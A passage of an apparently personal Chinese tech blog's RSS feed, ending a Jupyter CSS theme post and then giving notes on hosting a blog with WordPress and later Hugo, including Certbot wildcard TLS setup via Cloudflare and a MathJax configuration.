</span></span><span class="line"><span class="ln"> 22</span><span class="cl">    <span class="k">background-color</span><span class="p">:</span> <span class="mh">#f8f8f8</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 23</span><span class="cl">    <span class="k">color</span><span class="p">:</span> <span class="mh">#505050</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 24</span><span class="cl">    <span class="k">padding</span><span class="p">:</span> <span class="mf">8.5</span><span class="kt">px</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 25</span><span class="cl">    <span class="k">margin</span><span class="p">:</span> <span class="mf">0.5</span><span class="kt">em</span> <span class="mf">-0.5</span><span class="kt">em</span> <span class="mf">0.5</span><span class="kt">em</span> <span class="mf">-0.4</span><span class="kt">em</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 26</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln"> 27</span><span class="cl">
</span></span><span class="line"><span class="ln"> 28</span><span class="cl"><span class="c">/* Markdown - code in paragraph */</span>
</span></span><span class="line"><span class="ln"> 29</span><span class="cl"><span class="nt">div</span><span class="p">#</span><span class="nn">notebook</span> <span class="nt">p</span> <span class="nt">code</span><span class="o">,</span> <span class="nt">div</span><span class="p">#</span><span class="nn">notebook</span> <span class="nt">li</span> <span class="nt">code</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 30</span><span class="cl">    <span class="k">font-family</span><span class="p">:</span> <span class="s2">&#34;Consolas&#34;</span><span class="p">,</span> <span class="s2">&#34;Microsoft YaHei&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 31</span><span class="cl">    <span class="k">font-size</span><span class="p">:</span> <span class="mi">1</span><span class="kt">em</span> <span class="cp">!important</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 32</span><span class="cl">    <span class="k">color</span><span class="p">:</span> <span class="mh">#111111</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 33</span><span class="cl">    <span class="k">border</span><span class="p">:</span> <span class="mf">0.5</span><span class="kt">px</span> <span class="kc">solid</span> <span class="mh">#cfcfcf</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 34</span><span class="cl">    <span class="k">border-radius</span><span class="p">:</span> <span class="mi">2</span><span class="kt">px</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 35</span><span class="cl">    <span class="k">background-color</span><span class="p">:</span> <span class="mh">#f7f7f7</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 36</span><span class="cl">    <span class="k">padding</span><span class="p">:</span> <span class="mf">.1</span><span class="kt">em</span> <span class="mf">.2</span><span class="kt">em</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 37</span><span class="cl">    <span class="k">margin</span><span class="p">:</span> <span class="mi">0</span><span class="kt">px</span> <span class="mi">2</span><span class="kt">px</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 38</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln"> 39</span><span class="cl">
</span></span><span class="line"><span class="ln"> 40</span><span class="cl"><span class="c">/* Markdown - code */</span>
</span></span><span class="line"><span class="ln"> 41</span><span class="cl"><span class="nt">div</span><span class="p">.</span><span class="nc">text_cell_render</span> <span class="nt">pre</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 42</span><span class="cl">    <span class="k">border</span><span class="p">:</span> <span class="mi">1</span><span class="kt">px</span> <span class="kc">solid</span> <span class="mh">#cfcfcf</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 43</span><span class="cl">    <span class="k">border-radius</span><span class="p">:</span> <span class="mi">2</span><span class="kt">px</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 44</span><span class="cl">    <span class="k">background</span><span class="p">:</span> <span class="mh">#f7f7f7</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 45</span><span class="cl">    <span class="k">line-height</span><span class="p">:</span> <span class="mf">1.21429</span><span class="kt">em</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 46</span><span class="cl">    <span class="k">padding</span><span class="p">:</span> <span class="mf">8.5</span><span class="kt">px</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 47</span><span class="cl">    <span class="k">margin</span><span class="p">:</span> <span class="mf">0.5</span><span class="kt">em</span> <span class="mf">-0.5</span><span class="kt">em</span> <span class="mf">0.5</span><span class="kt">em</span> <span class="mf">-0.4</span><span class="kt">em</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 48</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln"> 49</span><span class="cl"><span class="nt">div</span><span class="p">.</span><span class="nc">text_cell_render</span> <span class="nt">code</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 50</span><span class="cl">    <span class="k">background</span><span class="p">:</span> <span class="mh">#f7f7f7</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 51</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln"> 52</span><span class="cl">
</span></span><span class="line"><span class="ln"> 53</span><span class="cl"><span class="c">/* Code */</span>
</span></span><span class="line"><span class="ln"> 54</span><span class="cl"><span class="nt">div</span><span class="p">.</span><span class="nc">CodeMirror</span> <span class="nt">pre</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 55</span><span class="cl">    <span class="k">font-family</span><span class="p">:</span> <span class="s2">&#34;Consolas&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 56</span><span class="cl">    <span class="k">font-size</span><span class="p">:</span> <span class="mi">11</span><span class="kt">pt</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 57</span><span class="cl">    <span class="k">line-height</span><span class="p">:</span> <span class="mi">140</span><span class="kt">%</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 58</span><span class="cl">    <span class="kp">-webkit-</span><span class="n">font-smoothing</span><span class="p">:</span> <span class="n">antialiased</span> <span class="cp">!important</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 59</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln"> 60</span><span class="cl">
</span></span><span class="line"><span class="ln"> 61</span><span class="cl"><span class="c">/* Code - output */</span>
</span></span><span class="line"><span class="ln"> 62</span><span class="cl"><span class="nt">div</span><span class="p">.</span><span class="nc">output</span> <span class="nt">pre</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 63</span><span class="cl">    <span class="k">font-family</span><span class="p">:</span> <span class="s2">&#34;Microsoft YaHei&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 64</span><span class="cl">    <span class="k">line-height</span><span class="p">:</span> <span class="mi">20</span><span class="kt">px</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 65</span><span class="cl">    <span class="kp">-webkit-</span><span class="n">font-smoothing</span><span class="p">:</span> <span class="n">antialiased</span> <span class="cp">!important</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 66</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln"> 67</span><span class="cl">
</span></span><span class="line"><span class="ln"> 68</span><span class="cl"><span class="c">/* Code - comment */</span>
</span></span><span class="line"><span class="ln"> 69</span><span class="cl"><span class="nt">span</span><span class="p">.</span><span class="nc">cm-comment</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 70</span><span class="cl">    <span class="k">font-family</span><span class="p">:</span> <span class="s2">&#34;Microsoft YaHei&#34;</span> <span class="cp">!important</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 71</span><span class="cl">    <span class="k">font-style</span><span class="p">:</span> <span class="kc">italic</span> <span class="cp">!important</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 72</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln"> 73</span><span class="cl">
</span></span><span class="line"><span class="ln"> 74</span><span class="cl"><span class="c">/* Promts (In and Out) */</span>
</span></span><span class="line"><span class="ln"> 75</span><span class="cl"><span class="nt">div</span><span class="p">.</span><span class="nc">prompt</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 76</span><span class="cl">    <span class="k">font-family</span><span class="p">:</span> <span class="s2">&#34;Consolas&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 77</span><span class="cl">    <span class="k">font-size</span><span class="p">:</span> <span class="mi">10</span><span class="kt">pt</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 78</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln"> 79</span><span class="cl">
</span></span><span class="line"><span class="ln"> 80</span><span class="cl"><span class="c">/* Line numbers */</span>
</span></span><span class="line"><span class="ln"> 81</span><span class="cl"><span class="nt">div</span><span class="p">.</span><span class="nc">CodeMirror-linenumber</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 82</span><span class="cl">    <span class="k">font-family</span><span class="p">:</span> <span class="s1">&#39;Microsoft YaHei&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 83</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln"> 84</span><span class="cl">
</span></span><span class="line"><span class="ln"> 85</span><span class="cl">
</span></span><span class="line"><span class="ln"> 86</span><span class="cl"><span class="c">/* Code - highlighting */</span>
</span></span><span class="line"><span class="ln"> 87</span><span class="cl"><span class="p">.</span><span class="nc">cm-s-ipython</span> <span class="p">.</span><span class="nc">CodeMirror-cursor</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 88</span><span class="cl">    <span class="k">border-left</span><span class="p">:</span> <span class="mi">1</span><span class="kt">px</span> <span class="kc">solid</span> <span class="mh">#ff711a</span> <span class="cp">!important</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 89</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln"> 90</span><span class="cl"><span class="p">.</span><span class="nc">cm-s-ipython</span> <span class="nt">span</span><span class="p">.</span><span class="nc">cm-comment</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 91</span><span class="cl">    <span class="k">color</span><span class="p">:</span> <span class="mh">#8d8d8d</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 92</span><span class="cl">    <span class="k">font-style</span><span class="p">:</span> <span class="kc">italic</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 93</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln"> 94</span><span class="cl"><span class="p">.</span><span class="nc">cm-s-ipython</span> <span class="nt">span</span><span class="p">.</span><span class="nc">cm-atom</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 95</span><span class="cl">    <span class="k">color</span><span class="p">:</span> <span class="mh">#055be0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 96</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln"> 97</span><span class="cl"><span class="p">.</span><span class="nc">cm-s-ipython</span> <span class="nt">span</span><span class="p">.</span><span class="nc">cm-number</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 98</span><span class="cl">    <span class="k">color</span><span class="p">:</span> <span class="mh">#ff8132</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 99</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">100</span><span class="cl"><span class="p">.</span><span class="nc">cm-s-ipython</span> <span class="nt">span</span><span class="p">.</span><span class="nc">cm-property</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">101</span><span class="cl">    <span class="k">color</span><span class="p">:</span> <span class="mh">#303030</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">102</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">103</span><span class="cl"><span class="p">.</span><span class="nc">cm-s-ipython</span> <span class="nt">span</span><span class="p">.</span><span class="nc">cm-attribute</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">104</span><span class="cl">    <span class="k">color</span><span class="p">:</span> <span class="mh">#303030</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">105</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">106</span><span class="cl"><span class="p">.</span><span class="nc">cm-s-ipython</span> <span class="nt">span</span><span class="p">.</span><span class="nc">cm-keyword</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">107</span><span class="cl">    <span class="k">color</span><span class="p">:</span> <span class="mh">#713bc5</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">108</span><span class="cl">    <span class="k">font-weight</span><span class="p">:</span> <span class="kc">bold</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">109</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">110</span><span class="cl"><span class="p">.</span><span class="nc">cm-s-ipython</span> <span class="nt">span</span><span class="p">.</span><span class="nc">cm-string</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">111</span><span class="cl">    <span class="k">color</span><span class="p">:</span> <span class="mh">#009e07</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">112</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">113</span><span class="cl"><span class="p">.</span><span class="nc">cm-s-ipython</span> <span class="nt">span</span><span class="p">.</span><span class="nc">cm-meta</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">114</span><span class="cl">    <span class="k">color</span><span class="p">:</span> <span class="mh">#aa22ff</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">115</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">116</span><span class="cl"><span class="p">.</span><span class="nc">cm-s-ipython</span> <span class="nt">span</span><span class="p">.</span><span class="nc">cm-operator</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">117</span><span class="cl">    <span class="k">color</span><span class="p">:</span> <span class="mh">#055be0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">118</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">119</span><span class="cl"><span class="p">.</span><span class="nc">cm-s-ipython</span> <span class="nt">span</span><span class="p">.</span><span class="nc">cm-builtin</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">120</span><span class="cl">    <span class="k">color</span><span class="p">:</span> <span class="mh">#e22978</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">121</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">122</span><span class="cl"><span class="p">.</span><span class="nc">cm-s-ipython</span> <span class="nt">span</span><span class="p">.</span><span class="nc">cm-variable</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">123</span><span class="cl">    <span class="k">color</span><span class="p">:</span> <span class="mh">#303030</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">124</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">125</span><span class="cl"><span class="p">.</span><span class="nc">cm-s-ipython</span> <span class="nt">span</span><span class="p">.</span><span class="nc">cm-variable-2</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">126</span><span class="cl">    <span class="k">color</span><span class="p">:</span> <span class="mh">#de143d</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">127</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">128</span><span class="cl"><span class="p">.</span><span class="nc">cm-s-ipython</span> <span class="nt">span</span><span class="p">.</span><span class="nc">cm-variable-3</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">129</span><span class="cl">    <span class="k">color</span><span class="p">:</span> <span class="mh">#aa22ff</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">130</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">131</span><span class="cl"><span class="p">.</span><span class="nc">cm-s-ipython</span> <span class="nt">span</span><span class="p">.</span><span class="nc">cm-def</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">132</span><span class="cl">    <span class="k">color</span><span class="p">:</span> <span class="mh">#e22978</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">133</span><span class="cl">    <span class="k">font-weight</span><span class="p">:</span> <span class="kc">bold</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">134</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">135</span><span class="cl"><span class="p">.</span><span class="nc">cm-s-ipython</span> <span class="nt">span</span><span class="p">.</span><span class="nc">cm-error</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">136</span><span class="cl">    <span class="k">background</span><span class="p">:</span> <span class="nb">rgba</span><span class="p">(</span><span class="mi">191</span><span class="p">,</span> <span class="mi">97</span><span class="p">,</span> <span class="mi">106</span><span class="p">,</span> <span class="mf">.40</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">137</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">138</span><span class="cl"><span class="p">.</span><span class="nc">cm-s-ipython</span> <span class="nt">span</span><span class="p">.</span><span class="nc">cm-tag</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">139</span><span class="cl">    <span class="k">color</span><span class="p">:</span> <span class="mh">#e22978</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">140</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">141</span><span class="cl"><span class="p">.</span><span class="nc">cm-s-ipython</span> <span class="nt">span</span><span class="p">.</span><span class="nc">cm-link</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">142</span><span class="cl">    <span class="k">color</span><span class="p">:</span> <span class="mh">#ff8132</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">143</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">144</span><span class="cl"><span class="p">.</span><span class="nc">cm-s-ipython</span> <span class="nt">span</span><span class="p">.</span><span class="nc">cm-storage</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">145</span><span class="cl">    <span class="k">color</span><span class="p">:</span> <span class="mh">#055be0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">146</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">147</span><span class="cl"><span class="p">.</span><span class="nc">cm-s-ipython</span> <span class="nt">span</span><span class="p">.</span><span class="nc">cm-entity</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">148</span><span class="cl">    <span class="k">color</span><span class="p">:</span> <span class="mh">#e22978</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">149</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">150</span><span class="cl"><span class="p">.</span><span class="nc">cm-s-ipython</span> <span class="nt">span</span><span class="p">.</span><span class="nc">cm-quote</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">151</span><span class="cl">    <span class="k">color</span><span class="p">:</span> <span class="mh">#009e07</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">152</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">153</span><span class="cl"><span class="nt">div</span><span class="p">.</span><span class="nc">CodeMirror</span> <span class="nt">span</span><span class="p">.</span><span class="nc">CodeMirror-matchingbracket</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">154</span><span class="cl">    <span class="k">color</span><span class="p">:</span> <span class="mh">#1c1c1c</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">155</span><span class="cl">    <span class="k">background-color</span><span class="p">:</span> <span class="nb">rgba</span><span class="p">(</span><span class="mi">30</span><span class="p">,</span> <span class="mi">112</span><span class="p">,</span> <span class="mi">199</span><span class="p">,</span> <span class="mf">.30</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">156</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">157</span><span class="cl"><span class="nt">div</span><span class="p">.</span><span class="nc">CodeMirror</span> <span class="nt">span</span><span class="p">.</span><span class="nc">CodeMirror-nonmatchingbracket</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">158</span><span class="cl">    <span class="k">color</span><span class="p">:</span> <span class="mh">#1c1c1c</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">159</span><span class="cl">    <span class="k">background</span><span class="p">:</span> <span class="nb">rgba</span><span class="p">(</span><span class="mi">191</span><span class="p">,</span> <span class="mi">97</span><span class="p">,</span> <span class="mi">106</span><span class="p">,</span> <span class="mf">.40</span><span class="p">)</span> <span class="cp">!important</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">160</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">161</span><span class="cl"><span class="p">.</span><span class="nc">cm-s-default</span> <span class="p">.</span><span class="nc">cm-hr</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">162</span><span class="cl">    <span class="k">color</span><span class="p">:</span> <span class="mh">#055be0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">163</span><span class="cl"><span class="p">}</span></span></span></code></pre></div><blockquote>
<p>参考: <a href="https://www.zhihu.com/question/40012144">https://www.zhihu.com/question/40012144</a></p>
</blockquote>
<p>然后 Jupyter 就会变得好看了。</p>
]]></content:encoded>
    </item>
    <item>
      <title>博客搭建笔记</title>
      <link>https://sttev.com/posts/21-blog-notes/</link>
      <pubDate>Mon, 29 Jul 2019 11:00:00 +0800</pubDate><author>steve@sttev.com (SteveHawk)</author>
      <guid>https://sttev.com/posts/21-blog-notes/</guid>
      <description>&lt;h2 id=&#34;wordpress&#34;&gt;Wordpress&lt;/h2&gt;&#xA;&lt;p&gt;最开始没多想，就决定用最方便（臃肿）的 Wordpress。&lt;/p&gt;&#xA;&lt;h3 id=&#34;买服务器&#34;&gt;买服务器&lt;/h3&gt;&#xA;&lt;p&gt;aws 注册以后获得免费 ec2 实例 * 1个 * 1年。安装 Ubuntu Server 18.04 LTS 并下载私钥用于 SSH 登录。&lt;/p&gt;&#xA;&lt;h3 id=&#34;配服务器&#34;&gt;配服务器&lt;/h3&gt;&#xA;&lt;p&gt;安装 LEMP + Wordpress 组合。可以参照这篇教程：&lt;/p&gt;</description>
      <content:encoded><![CDATA[<h2 id="wordpress">Wordpress</h2>
<p>最开始没多想，就决定用最方便（臃肿）的 Wordpress。</p>
<h3 id="买服务器">买服务器</h3>
<p>aws 注册以后获得免费 ec2 实例 * 1个 * 1年。安装 Ubuntu Server 18.04 LTS 并下载私钥用于 SSH 登录。</p>
<h3 id="配服务器">配服务器</h3>
<p>安装 LEMP + Wordpress 组合。可以参照这篇教程：</p>
<blockquote>
<p><a href="https://www.digitalocean.com/community/tutorials/how-to-install-wordpress-with-lemp-on-ubuntu-18-04">How To Install WordPress with LEMP on Ubuntu 18.04</a></p>
</blockquote>
<p>其中包括了 LEMP 的配置教程：</p>
<blockquote>
<p><a href="https://www.digitalocean.com/community/tutorials/how-to-install-linux-nginx-mysql-php-lemp-stack-ubuntu-18-04">How To Install Linux, Nginx, MySQL, PHP (LEMP stack) on Ubuntu 18.04</a></p>
</blockquote>
<p>然后可以配置一下 TLS，用 Let&rsquo;s Encrypt 的 Certbot 就可以。直接在官网照步骤走就好：</p>
<blockquote>
<p><a href="https://certbot.eff.org/">Certbot</a></p>
</blockquote>
<p>可以搭配下 CDN 用于加速（减速）网站的访问。我选择了 Cloudflare 的免费 CDN 套餐：</p>
<blockquote>
<p><a href="https://www.cloudflare.com/cdn/">Cloudflare CDN Service</a></p>
</blockquote>
<p>然后在 Certbot 中就可以很方便的配置 TLS 通配符（wildcard）证书了。Certbot 页面选择 wildcard 的 tab，同样按照教程走就好。以下是我用的指令：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="ln">1</span><span class="cl">sudo certbot <span class="se">\
</span></span></span><span class="line"><span class="ln">2</span><span class="cl">    --dns-cloudflare <span class="se">\
</span></span></span><span class="line"><span class="ln">3</span><span class="cl">    --dns-cloudflare-credentials ~/.secrets/certbot/cloudflare.ini <span class="se">\
</span></span></span><span class="line"><span class="ln">4</span><span class="cl">    -d stevehawk.tk -d *.stevehawk.tk <span class="se">\
</span></span></span><span class="line"><span class="ln">5</span><span class="cl">    -i nginx</span></span></code></pre></div><h3 id="配博客">配博客</h3>
<p>服务器端配置完成以后就是简单的在网页管理界面操作一切了。</p>
<hr>
<h2 id="hugo">Hugo</h2>
<p>可恨，Wordpress 竟然不是原生支持 Markdown，插件又渲染的一坨屎。于是决定换成 Hugo。</p>
<h3 id="配服务器-1">配服务器</h3>
<p>可以继续参考上面的教程，不过可以跳过 Mysql，PHP 和 Wordpress 的安装。只需要 Nginx 即可。</p>
<p>Hugo 的安装是大坑。官方教程提供了三种安装方法：</p>
<blockquote>
<p><a href="https://gohugo.io/getting-started/installing/#linuxbrew-linux">Linuxbrew</a></p>
<p><a href="https://gohugo.io/getting-started/installing/#snap-package">Snap</a></p>
<p><a href="https://gohugo.io/getting-started/installing/#debian-and-ubuntu">APT</a></p>
</blockquote>
<p>其中，apt 上的安装包非常老，在我配置服务器的时候，官方最新版是 0.56.0，而 apt 上的版本竟然还在 0.40.0，一个 2018 年 4 月的 Release…. 所以不要用 apt 了。</p>
<p>然后试着装了 <a href="https://docs.brew.sh/Homebrew-on-Linux">Linuxbrew</a>，以为能方便的一键安装，结果它给我下了个 Golang，下了 Hugo 的源码，然后开始从头编译…. 再见。</p>
<p>最终用 Snap 装上了。Snap 大法好。</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="ln">1</span><span class="cl">snap install hugo --channel<span class="o">=</span>extended</span></span></code></pre></div><h3 id="配博客-1">配博客</h3>
<p>Hugo 的特点就是简洁（简陋），甚至没有个网页管理界面，所有管理都用 CLI 完成。依旧按照官方教程走：</p>
<blockquote>
<p><a href="https://gohugo.io/getting-started/quick-start/">Hugo Quick Start</a></p>
</blockquote>
<p>常用的指令：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="c1"># 创建网站文件夹</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">hugo new site site_name
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="c1"># 创建一篇文章 会出现在 ./content/posts/ 下</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl">hugo new posts/post_name.md
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="c1"># 生成静态文件 会出现在 ./public 文件夹中</span>
</span></span><span class="line"><span class="ln">6</span><span class="cl">hugo</span></span></code></pre></div><p>生成静态文件后把 nginx 服务器配置块中的 root 指向 public 文件夹即可。</p>
<p>注意，hugo 每次生成的时候不会删除 public 文件夹中原本的内容，所以记得先删除 public 再生成以防出问题。</p>
<p>注意，Snap 安装的 Hugo 无法在 <code>~</code> 之外的路径中操作文件，所以这里最方便的操作就是把网站文件夹放在 <code>~</code> 目录下。参考：<a href="https://github.com/gohugoio/hugo/issues/3143">Issue with the snap installed version</a></p>
<h3 id="配-mathjax">配 Mathjax</h3>
<p>Hugo 虽然支持了 Markdown，但是不支持 Latex 数学公式。所以需要另外配置一下 Mathjax 用于渲染公式。官方提供的方案：</p>
<blockquote>
<p><a href="https://gohugo.io/content-management/formats/#mathjax-with-hugo">MathJax with Hugo</a></p>
</blockquote>
<p>但是这个方案貌似会出现奇怪的语法错误。可以使用改进方案：</p>
<blockquote>
<p><a href="https://note.qidong.name/2018/03/hugo-mathjax/">在Hugo中使用MathJax</a></p>
</blockquote>
<p>这个方案中，把所有的修改并成同一个文件 <code>layouts/partials/mathjax.html</code> ，内容如下：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="p">&lt;</span><span class="nt">script</span> <span class="na">type</span><span class="o">=</span><span class="s">&#34;text/javascript&#34;</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">        <span class="na">async</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">        <span class="na">src</span><span class="o">=</span><span class="s">&#34;https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.1/MathJax.js?config=TeX-AMS-MML_HTMLorMML&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="nx">MathJax</span><span class="p">.</span><span class="nx">Hub</span><span class="p">.</span><span class="nx">Config</span><span class="p">({</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">  <span class="nx">tex2jax</span><span class="o">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">    <span class="nx">inlineMath</span><span class="o">:</span> <span class="p">[[</span><span class="s1">&#39;$&#39;</span><span class="p">,</span><span class="s1">&#39;$&#39;</span><span class="p">],</span> <span class="p">[</span><span class="s1">&#39;\\(&#39;</span><span class="p">,</span><span class="s1">&#39;\\)&#39;</span><span class="p">]],</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">    <span class="nx">displayMath</span><span class="o">:</span> <span class="p">[[</span><span class="s1">&#39;$$&#39;</span><span class="p">,</span><span class="s1">&#39;$$&#39;</span><span class="p">],</span> <span class="p">[</span><span class="s1">&#39;\[\[&#39;</span><span class="p">,</span><span class="s1">&#39;\]\]&#39;</span><span class="p">]],</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">    <span class="nx">processEscapes</span><span class="o">:</span> <span class="kc">true</span><span class="p">,</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">    <span class="nx">processEnvironments</span><span class="o">:</span> <span class="kc">true</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">    <span class="nx">skipTags</span><span class="o">:</span> <span class="p">[</span><span class="s1">&#39;script&#39;</span><span class="p">,</span> <span class="s1">&#39;noscript&#39;</span><span class="p">,</span> <span class="s1">&#39;style&#39;</span><span class="p">,</span> <span class="s1">&#39;textarea&#39;</span><span class="p">,</span> <span class="s1">&#39;pre&#39;</span><span class="p">],</span>
